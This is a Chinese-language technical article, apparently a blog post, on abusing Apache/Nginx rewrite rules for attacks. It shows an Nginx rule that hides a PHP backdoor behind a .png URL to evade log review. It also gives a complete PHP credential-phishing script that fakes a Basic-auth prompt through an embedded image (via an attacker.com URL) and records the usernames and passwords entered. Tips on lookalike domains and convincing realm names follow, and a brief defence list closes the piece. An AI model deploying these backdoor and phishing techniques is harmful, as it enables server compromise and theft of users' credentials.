Hack With Rewrite
字数 1342 2025-08-29 08:32:02
Apache/Nginx Rewrite功能的高级利用技术
0x00 简介
Rewrite功能是Apache和Nginx等Web服务器提供的重要特性,它允许管理员通过规则将输入的URL转换为另一个URL。虽然主要用于URL美化,但这一功能也可被用于一些高级安全场景,包括后门隐藏和钓鱼攻击。
0x01 通过Rewrite功能隐藏后门
基本原理
通过Rewrite规则,攻击者可以将访问特定文件(如图片)的请求重定向到PHP后门文件,从而:
- 逃避日志审查(日志中只记录图片访问记录)
- 绕过简单的文件上传检测
- 增加后门的隐蔽性
Nginx配置示例
在Nginx配置文件中添加以下规则:
location ~ \.png$ {
rewrite ^/img/test\.png$ /img/test.php last;
}
这段配置的含义:
- 匹配所有以
.png结尾的URL - 如果访问路径是
/img/test.png,则内部重定向到/img/test.php last标志表示这是最后一条要处理的规则
实现效果
- 攻击者在
/img/目录下放置test.php后门文件 - 外部访问
http://domain.com/img/test.png时实际执行test.php - 服务器日志中只记录对
test.png的访问
配置注意事项
- 需要修改Nginx配置文件(通常需要管理员权限)
- 修改后需要重启Nginx服务生效
- 可以结合
.htaccess或user.ini等文件使用,提高隐蔽性
0x02 基础认证钓鱼攻击
攻击原理
- 在可插入远程图片的编辑器中插入恶意图片链接
- 图片实际指向一个PHP脚本,该脚本返回401认证头
- 用户访问页面时浏览器弹出认证窗口
- 用户输入的凭据被攻击者获取
PHP实现代码
<?php
$now = new DateTime();
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : "";
if ($user && $pass) {
$fp = fopen("count.txt", "a");
$content = fread($fp);
$ip = $_SERVER["REMOTE_ADDR"];
$all = file_get_contents("count.txt");
fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . "\t" . $pass . "\n");
$line = substr_count($all, $ip);
fclose($fp);
}
if($line < 2) {
header('WWW-Authenticate: Basic realm="Corporate domain"');
} else {
header('content-type: image/png');
echo file_get_contents("test.png");
}
?>
代码功能解析
- 捕获用户输入的认证信息(
PHP_AUTH_USER和PHP_AUTH_PW) - 将凭据与时间戳、IP地址一起记录到
count.txt - 对同一IP的前两次访问返回401认证头,触发认证弹窗
- 第三次及以后访问返回正常图片,避免引起怀疑
结合Rewrite的增强攻击
- 使用Rewrite使恶意URL看起来像普通图片:
rewrite ^/auth\.png$ /auth.php last; - 攻击流程:
- 在编辑器中插入
http://attacker.com/auth.png - 用户访问页面时触发认证弹窗
- 凭据被记录后,后续访问显示正常图片
- 在编辑器中插入
浏览器兼容性
- 有效浏览器:Firefox、IE
- 无效浏览器:Chrome(不会弹出基础认证窗口)
提高攻击成功率的方法
- 注册相似域名增加可信度,例如:
- targetdomain.co
- targetdomain.net
- target-domain.com
- targetdomain-oauth.com
- 先使用正常图片通过编辑器验证,再修改Rewrite规则
- 使用企业常用的认证realm名称(如"Corporate domain")
防御措施
- 限制服务器配置文件修改权限
- 监控异常的Rewrite规则添加
- 对用户上传内容进行严格过滤
- 禁用不必要的HTTP认证
- 使用Web应用防火墙(WAF)检测异常请求
- 定期审计服务器配置和日志
总结
Rewrite功能虽然主要为URL重写设计,但在攻击者手中可以变成强大的工具。管理员应当充分了解这些潜在风险,采取适当措施保护Web服务器安全,同时开发人员也应注意防范此类高级攻击手法。